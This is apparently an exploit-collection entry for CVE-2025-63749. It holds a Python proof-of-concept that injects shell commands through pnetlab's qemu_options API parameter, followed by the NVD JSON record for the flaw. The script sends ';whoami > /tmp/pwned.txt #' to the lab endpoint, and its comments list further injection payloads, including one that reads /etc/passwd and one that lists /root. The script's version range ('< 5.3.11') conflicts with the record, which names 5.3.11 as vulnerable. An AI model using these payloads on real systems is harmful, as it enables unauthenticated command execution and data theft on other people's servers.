CVE-2025-63749

import requests # CVE-2025-63749 PoC - Command Injection in pnetlab qemu_options # Target: pnetlab < 5.3.11 target_url = "http://target-ip/api/v1/lab" payload = ";whoami > /tmp/pwned.txt #" data = { "qemu_options": payload, "lab_name": "test_lab" } try: response = requests.post(target_url, json=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Error: {e}") # Alternative payload examples: # $(whoami) # `id` # | cat /etc/passwd # ; ls -la /root/

{"cve": {"id": "CVE-2025-63749", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:51.150", "lastModified": "2025-11-20T17:31:48.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnetlab 5.3.11 is vulnerable to Command Injection via the qemu_options parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnetlab:pnetlab:5.3.11:*:*:*:*:*:*:*", "matchCriteriaId": "114AAB5A-3A39-49EE-B956-C22898A6736D"}]}]}], "references": [{"url": "https://github.com/XunMInt/cve/blob/main/Pnetlab-20251013.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}